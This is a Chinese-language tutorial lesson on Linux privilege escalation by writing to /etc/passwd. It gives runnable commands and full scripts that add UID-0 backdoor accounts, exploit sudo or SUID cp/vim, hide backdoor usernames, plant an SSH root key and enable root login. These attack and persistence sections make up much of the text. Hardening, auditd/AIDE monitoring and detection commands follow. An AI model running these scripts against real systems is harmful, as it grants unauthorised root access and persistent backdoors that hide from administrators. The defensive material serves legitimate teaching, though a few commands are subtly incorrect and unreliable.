提权专题
5、passwd提权
一、课程目标
本节课主要学习通过修改/etc/passwd文件实现提权的技术和方法。passwd提权是一种经典的Linux系统提权技术,虽然现代系统已有更强的安全防护,但在某些特定环境下仍然有效。通过本课的学习,你将能够:
- 理解/etc/passwd文件的结构和作用
- 掌握passwd文件提权的基本原理和方法
- 学会在不同场景下利用passwd文件进行提权
- 了解passwd提权的防护措施和检测方法
- 熟悉相关的安全加固技术
二、名词解释表
| 名词 | 解释 |
|---|---|
| /etc/passwd | Linux系统中存储用户基本信息的文件 |
| /etc/shadow | Linux系统中存储用户密码哈希的文件 |
| UID | User ID,用户的唯一标识符 |
| GID | Group ID,用户组的唯一标识符 |
| Root权限 | Linux系统中的最高权限 |
| 影子文件 | 指/etc/shadow文件,用于存储加密密码 |
| 明文密码 | 未经过加密处理的原始密码 |
| 密码哈希 | 经过哈希算法处理的密码 |
三、技术原理
3.1 /etc/passwd文件概述
/etc/passwd是Linux系统中最重要的用户账户配置文件之一,包含了系统中所有用户的基本信息。
3.1.1、文件结构
# /etc/passwd文件格式
username:password:UID:GID:GECOS:home_directory:shell
3.1.2、字段说明
- username:用户名
- password:密码字段(现代系统中通常为“x”)
- UID:用户ID
- GID:组ID
- GECOS:用户描述信息
- home_directory:用户家目录
- shell:用户登录shell
3.1.3、示例
# /etc/passwd文件示例
root:x:0:0:root:/root:/bin/bash
daemon:*:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:*:2:2:bin:/bin:/usr/sbin/nologin
sys:*:3:3:sys:/dev:/usr/sbin/nologin
sync:*:4:65534:sync:/bin:/bin/sync
games:*:5:60:games:/usr/games:/usr/sbin/nologin
man:*:6:12:man:/var/cache/man:/usr/sbin/nologin
3.2 提权原理
3.2.1、传统提权方法
在早期Unix/Linux系统中,/etc/passwd文件直接存储用户的密码哈希,攻击者可以通过以下方式提权:
- 获取对/etc/passwd文件的写权限
- 将目标用户的密码字段替换为已知密码的哈希
- 使用新密码登录目标账户
3.2.2、现代系统防护
现代Linux系统通过以下方式增强安全性:
- 使用影子文件(/etc/shadow)存储密码哈希
- /etc/passwd中的密码字段设置为“x”
- 严格的文件权限控制
3.2.3、可利用场景
尽管现代系统加强了防护,但仍存在以下可利用场景:
- 系统配置错误导致/etc/passwd可写
- 具有sudo权限可以修改passwd文件
- 存在SUID/SGID程序可以修改passwd文件
- 容器环境中挂载了宿主机的/etc目录
3.3 哈希算法
3.3.1、DES哈希
# DES哈希格式(13个字符)
# salt(2) + hash(11)
john:xy.Hk9W/a1F1E:1001:1001::/home/john:/bin/bash
3.3.2、MD5哈希
# MD5哈希格式(34个字符)
# $1$salt$hash
alice:$1$salt$wP3mElJ/dEdzQxkjHKWql/:1002:1002::/home/alice:/bin/bash
3.3.3、SHA-256/SHA-512哈希
# SHA-512哈希格式
# $6$salt$hash
bob:$6$salt$IxDD3jeSOb5eB1CX5LBsqZFVkJdido3OUILO5Ifz5iwMuTSvXFNl.bsN8LXDqLJ0zQaO3SsrAqQxNgKz6Ck05.:1003:1003::/home/bob:/bin/bash
四、passwd文件操作
4.1 查看passwd文件
4.1.1、基本查看命令
# 查看passwd文件内容
cat /etc/passwd
# 格式化显示
column -t -s: /etc/passwd
# 查看特定用户
grep "^username:" /etc/passwd
# 统计用户数量
wc -l /etc/passwd
4.1.2、详细信息查看
# 使用getent查看用户信息
getent passwd
getent passwd username
# 使用id查看用户ID
id
id username
# 查看用户详细信息
finger username # 需要安装finger包
4.2 passwd文件权限
4.2.1、检查文件权限
# 查看passwd文件权限
ls -l /etc/passwd
# 输出示例:
# -rw-r--r-- 1 root root 1234 May 1 10:30 /etc/passwd
# 检查shadow文件权限
ls -l /etc/shadow
# 输出示例:
# -rw-r----- 1 root shadow 1234 May 1 10:30 /etc/shadow
4.2.2、权限分析
- 正常权限:/etc/passwd应为644,所有者为root
- 安全隐患:如果普通用户有写权限,则存在提权风险
- shadow权限:应为640,组为shadow,防止普通用户读取密码哈希
4.3 备份和恢复
4.3.1、备份passwd文件
# 备份passwd文件
sudo cp /etc/passwd /etc/passwd.backup.$(date +%Y%m%d)
# 备份shadow文件
sudo cp /etc/shadow /etc/shadow.backup.$(date +%Y%m%d)
# 验证备份
ls -l /etc/*.backup*
4.3.2、恢复passwd文件
# 恢复passwd文件
sudo cp /etc/passwd.backup.date /etc/passwd
# 恢复shadow文件
sudo cp /etc/shadow.backup.date /etc/shadow
# 恢复文件权限
sudo chmod 644 /etc/passwd
sudo chmod 640 /etc/shadow
sudo chown root:root /etc/passwd
sudo chown root:shadow /etc/shadow
五、passwd提权方法
5.1 直接修改passwd文件
5.1.1、创建root等效用户
# 1. 备份原始文件
cp /etc/passwd /tmp/passwd.bak
# 2. 创建密码哈希
# 使用openssl生成密码哈希
openssl passwd -1 "newpassword"
# 输出示例:$1$salt$hash
# 3. 添加新用户行
echo "newuser:$1$salt$hash:0:0:root:/root:/bin/bash" >> /etc/passwd
# 4. 验证添加结果
tail -1 /etc/passwd
# 5. 使用新用户登录
su - newuser
# 输入密码:newpassword
5.1.2、修改现有用户
# 1. 查找目标用户
grep "^targetuser:" /etc/passwd
# 2. 生成新密码哈希
openssl passwd -1 "hackedpassword"
# 3. 替换用户密码字段
sed -i "s/^targetuser:[^:]*:/targetuser:$1$new$salt$hash:/" /etc/passwd
# 4. 验证修改
grep "^targetuser:" /etc/passwd
# 5. 使用新密码登录
su - targetuser
# 输入密码:hackedpassword
5.2 利用SUID程序
5.2.1、可利用的SUID程序
# 查找可利用的SUID程序
find / -perm -4000 2>/dev/null | grep -E "(vim|nano|cp|mv)"
# 利用vim修改passwd文件
sudo vim /etc/passwd
# 在vim中添加用户行
# 利用cp覆盖passwd文件
echo "backdoor:x:0:0:root:/root:/bin/bash" > /tmp/passwd_mod
cat /etc/passwd >> /tmp/passwd_mod
sudo cp /tmp/passwd_mod /etc/passwd
5.2.2、自定义利用脚本
#!/bin/bash
# passwd_exploit.sh - passwd文件利用脚本
# 检查权限
if [ ! -w /etc/passwd ]; then
echo "[-] 没有写入/etc/passwd的权限"
exit 1
fi
# 生成密码哈希
PASSWORD_HASH=$(openssl passwd -1 "exploit123")
echo "[+] 生成密码哈希: $PASSWORD_HASH"
# 创建后门用户
BACKDOOR_USER="backdoor_$(date +%s)"
echo "$BACKDOOR_USER:$PASSWORD_HASH:0:0:root:/root:/bin/bash" >> /etc/passwd
echo "[+] 添加后门用户: $BACKDOOR_USER"
# 验证添加
if grep -q "^$BACKDOOR_USER:" /etc/passwd; then
echo "[+] 后门用户添加成功"
echo "[+] 用户名: $BACKDOOR_USER"
echo "[+] 密码: exploit123"
else
echo "[-] 后门用户添加失败"
fi
5.3 利用sudo权限
5.3.1、sudo修改passwd文件
# 使用sudo权限修改passwd文件
sudo echo "hacker:x:0:0:root:/root:/bin/bash" >> /etc/passwd
# 或者使用tee命令
echo "hacker:x:0:0:root:/root:/bin/bash" | sudo tee -a /etc/passwd
# 使用sudo编辑器
sudo vim /etc/passwd
# 添加用户行
5.3.2、条件性sudo利用
# 检查sudo权限
sudo -l | grep -E "(ALL|/bin/cat|/bin/cp|/usr/bin/vim)"
# 如果可以sudo cat文件
sudo cat /etc/passwd > /tmp/passwd_copy
echo "backdoor:x:0:0:root:/root:/bin/bash" >> /tmp/passwd_copy
sudo cp /tmp/passwd_copy /etc/passwd
六、自动化提权工具
6.1 passwd提权脚本
#!/bin/bash
# passwd_privilege_escalation.sh - passwd提权自动化脚本
echo "=== passwd提权检测工具 ==="
echo "检测时间: $(date)"
echo ""
# 检查passwd文件权限
check_passwd_permissions() {
echo "1. 检查/etc/passwd文件权限:"
PASSWD_PERMS=$(ls -l /etc/passwd | cut -d" " -f1)
echo " 权限: $PASSWD_PERMS"
# 检查是否可写
if [ -w /etc/passwd ]; then
echo " [警告] /etc/passwd文件可写!"
return 0
else
echo " [/] /etc/passwd文件不可写"
return 1
fi
}
# 检查shadow文件权限
check_shadow_permissions() {
echo "2. 检查/etc/shadow文件权限:"
if [ -r /etc/shadow ]; then
SHADOW_PERMS=$(ls -l /etc/shadow | cut -d" " -f1)
echo " 权限: $SHADOW_PERMS"
echo " [注意] 可以读取shadow文件"
return 0
else
echo " [/] 无法读取shadow文件"
return 1
fi
}
# 检查sudo权限
check_sudo_permissions() {
echo "3. 检查sudo权限:"
if command -v sudo &> /dev/null; then
sudo -l 2>/dev/null | grep -E "(ALL|passwd|shadow)" > /dev/null
if [ $? -eq 0 ]; then
echo " [警告] 具有修改passwd/shadow的sudo权限"
sudo -l 2>/dev/null | grep -E "(ALL|passwd|shadow)"
return 0
else
echo " [/] 没有相关sudo权限"
return 1
fi
else
echo " [-] sudo命令不存在"
return 1
fi
}
# 检查SUID程序
check_suid_programs() {
echo "4. 检查可利用的SUID程序:"
VULNERABLE_SUID=("/usr/bin/vim" "/usr/bin/nano" "/bin/cp" "/bin/mv")
for program in "${VULNERABLE_SUID[@]}"; do
if [ -u "$program" ]; then
echo " [警告] 发现可利用SUID程序: $program"
fi
done
}
# 尝试提权
attempt_privilege_escalation() {
echo "5. 尝试passwd提权:"
# 如果可以直接写入passwd文件
if [ -w /etc/passwd ]; then
echo " [+] 可以直接修改/etc/passwd文件"
# 生成密码哈希
PASSWORD_HASH=$(openssl passwd -1 "backdoor123" 2>/dev/null)
if [ $? -eq 0 ]; then
BACKDOOR_USER="bd_$(date +%s)"
echo "$BACKDOOR_USER:$PASSWORD_HASH:0:0:root:/root:/bin/bash" >> /etc/passwd
echo " [+] 添加后门用户: $BACKDOOR_USER"
echo " [+] 密码: backdoor123"
else
echo " [-] 无法生成密码哈希"
fi
fi
# 检查sudo权限
if sudo -l 2>/dev/null | grep -q "ALL"; then
echo " [+] 具有ALL sudo权限,可以修改passwd文件"
# 可以在这里添加具体的sudo利用代码
fi
}
# 主执行流程
main() {
check_passwd_permissions
echo ""
check_shadow_permissions
echo ""
check_sudo_permissions
echo ""
check_suid_programs
echo ""
attempt_privilege_escalation
}
# 执行主函数
main
6.2 密码哈希生成工具
#!/bin/bash
# hash_generator.sh - 密码哈希生成工具
generate_hash() {
local password=$1
local algorithm=${2:-1} # 默认使用MD5
case $algorithm in
1|md5)
openssl passwd -1 "$password"
;;
5|sha256)
openssl passwd -5 "$password"
;;
6|sha512)
openssl passwd -6 "$password"
;;
*)
echo "支持的算法: 1(MD5), 5(SHA-256), 6(SHA-512)"
return 1
;;
esac
}
# 使用示例
echo "=== 密码哈希生成工具 ==="
echo "用法: $0 <密码> [算法]"
echo "算法: 1(MD5), 5(SHA-256), 6(SHA-512)"
echo ""
if [ $# -lt 1 ]; then
echo "请输入密码"
exit 1
fi
PASSWORD=$1
ALGORITHM=${2:-1}
echo "密码: $PASSWORD"
echo "算法: $ALGORITHM"
echo "哈希: $(generate_hash "$PASSWORD" "$ALGORITHM")"
七、权限维持
7.1 隐藏后门用户
7.1.1、创建隐藏用户
# 创建隐藏用户名(以$结尾)
echo "hidden_user$:x:0:0:root:/root:/bin/bash" >> /etc/passwd
# 或者使用空格和特殊字符
echo " user:x:0:0:root:/root:/bin/bash" >> /etc/passwd
# 创建多个隐藏用户
for i in {1..5}; do
USERNAME="sys_${i}_\$"
HASH=$(openssl passwd -1 "hidden${i}")
echo "$USERNAME:$HASH:0:0:root:/root:/bin/bash" >> /etc/passwd
done
7.1.2、隐藏用户检测
# 检测隐藏用户
grep -E "^\s+|:\$" /etc/passwd
# 检测UID为0的用户
awk -F: '$3 == 0 {print}' /etc/passwd
# 检测异常用户名
grep -E "(\s+|[\$\*])" /etc/passwd
7.2 SSH后门
7.2.1、添加SSH密钥
# 创建后门用户
BACKDOOR_USER="maintenance"
HASH=$(openssl passwd -1 "maint123")
echo "$BACKDOOR_USER:$HASH:0:0:root:/root:/bin/bash" >> /etc/passwd
# 添加SSH密钥
mkdir -p /root/.ssh
echo "ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC..." >> /root/.ssh/authorized_keys
chmod 600 /root/.ssh/authorized_keys
chmod 700 /root/.ssh
7.2.2、SSH配置后门
# 修改SSH配置允许root登录
echo "PermitRootLogin yes" >> /etc/ssh/sshd_config
echo "AllowUsers *" >> /etc/ssh/sshd_config
# 重启SSH服务
systemctl restart sshd
八、防护措施
8.1 系统加固
8.1.1、文件权限加固
# 设置正确的passwd文件权限
chmod 644 /etc/passwd
chown root:root /etc/passwd
# 设置正确的shadow文件权限
chmod 640 /etc/shadow
chown root:shadow /etc/shadow
# 设置正确的group文件权限
chmod 644 /etc/group
chown root:root /etc/group
8.1.2、启用影子套件
# 检查是否启用了影子套件
ls -l /etc/shadow
# 如果没有shadow文件,启用影子套件
pwconv # 将密码移到shadow文件
grpconv # 将组密码移到gshadow文件
8.2 监控和审计
8.2.1、文件完整性监控
# 使用AIDE监控关键文件
apt-get install aide
# 初始化AIDE数据库
aide --init
# 配置监控规则
echo "/etc/passwd M" >> /etc/aide/aide.conf
echo "/etc/shadow M" >> /etc/aide/aide.conf
# 定期检查
aide --check
8.2.2、日志监控
# 监控passwd文件修改
echo "-w /etc/passwd -p wa -k passwd_modification" >> /etc/audit/rules.d/passwd.rules
# 监控用户添加
echo "-a always,exit -F arch=b64 -S setuid -F auid>=1000 -F auid!=4294967295 -k setuid" >> /etc/audit/rules.d/user.rules
# 重启auditd服务
systemctl restart auditd
8.3 安全配置
8.3.1、限制用户权限
# 禁止普通用户修改系统文件
# 在/etc/security/limits.conf中添加
# username hard nproc 10
# username hard nofile 100
# 使用PAM限制
# /etc/pam.d/common-account
account required pam_access.so
8.3.2、定期安全检查
# 创建定期检查脚本
cat > /usr/local/bin/security_check.sh << 'EOF'
#!/bin/bash
# 安全检查脚本
echo "=== 系统安全检查 ==="
echo "检查时间: $(date)"
echo ""
# 检查passwd文件权限
echo "1. /etc/passwd文件权限:"
ls -l /etc/passwd
# 检查shadow文件权限
echo "2. /etc/shadow文件权限:"
ls -l /etc/shadow
# 检查UID为0的用户
echo "3. UID为0的用户:"
awk -F: '$3 == 0 {print}' /etc/passwd
# 检查最近添加的用户
echo "4. 最近添加的用户:"
tail -10 /etc/passwd
EOF
chmod +x /usr/local/bin/security_check.sh
# 添加到cron任务
echo "0 2 * * * /usr/local/bin/security_check.sh > /var/log/security_check.log" | crontab -
九、实战案例
9.1 passwd提权完整流程
9.1.1、信息收集阶段
# 1. 检查passwd文件权限
ls -l /etc/passwd
# 2. 检查shadow文件权限
ls -l /etc/shadow
# 3. 检查sudo权限
sudo -l
# 4. 查找SUID程序
find / -perm -4000 2>/dev/null
9.1.2、利用阶段
# 5. 如果可以直接写入passwd文件
if [ -w /etc/passwd ]; then
# 生成密码哈希
HASH=$(openssl passwd -1 "backdoor123")
# 添加后门用户
echo "backdoor:$HASH:0:0:root:/root:/bin/bash" >> /etc/passwd
# 验证添加
tail -1 /etc/passwd
# 使用后门用户登录
su - backdoor
# 输入密码: backdoor123
fi
9.1.3、权限验证
# 6. 验证提权成功
id
# 输出应该显示uid=0(root)
# 7. 执行特权操作
cat /etc/shadow
touch /root/test_file
9.2 复杂环境提权
9.2.1、条件利用
# 1. 检查条件
# 如果具有sudo权限修改passwd文件
sudo -l | grep passwd
# 2. 利用sudo权限
if sudo -l 2>/dev/null | grep -q "/etc/passwd"; then
HASH=$(openssl passwd -1 "complex123")
echo "complex:$HASH:0:0:root:/root:/bin/bash" | sudo tee -a /etc/passwd
# 验证
sudo grep "^complex:" /etc/passwd
fi
十、故障排除
10.1 常见问题
10.1.1、权限不足
# 检查当前权限
id
ls -l /etc/passwd
# 检查sudo权限
sudo -l
# 检查SUID程序
find / -perm -4000 2>/dev/null
10.1.2、哈希生成失败
# 检查openssl是否安装
which openssl
# 安装openssl
sudo apt-get install openssl
# 使用替代方法生成哈希
# 使用python
python -c "import crypt; print(crypt.crypt('password', '\$1\$salt\$'))"
# 使用mkpasswd(如果安装了whois包)
mkpasswd -m sha-512 password
10.2 系统恢复
10.2.1、恢复passwd文件
# 如果系统出现问题,恢复备份
sudo cp /etc/passwd.backup /etc/passwd
sudo cp /etc/shadow.backup /etc/shadow
# 恢复文件权限
sudo chmod 644 /etc/passwd
sudo chmod 640 /etc/shadow
sudo chown root:root /etc/passwd
sudo chown root:shadow /etc/shadow
10.2.2、用户账户修复
# 如果用户账户损坏,使用系统工具修复
sudo pwck # 检查密码文件
sudo grpck # 检查组文件
# 重建用户数据库
sudo pwd_mkdb /etc/master.passwd # FreeBSD
sudo mkpasswd # 某些Linux发行版
十一、课后作业
-
基础练习:
- 在实验环境中练习passwd文件操作
- 学习不同哈希算法的生成方法
- 练习passwd提权的基本方法
- 验证提权结果并清理环境
-
进阶练习:
- 编写自定义passwd提权脚本
- 实现passwd文件监控工具
- 配置系统防护措施
- 研究容器环境中的passwd提权
-
思考题:
- 现代Linux系统为什么不再直接在passwd文件中存储密码?
- 如何在保证系统功能性的同时防止passwd提权?
- passwd提权在容器环境中的特殊性是什么?
-
扩展阅读:
- 研究影子套件(Shadow Suite)的实现原理
- 了解PAM(Pluggable Authentication Modules)机制
- 学习文件完整性监控技术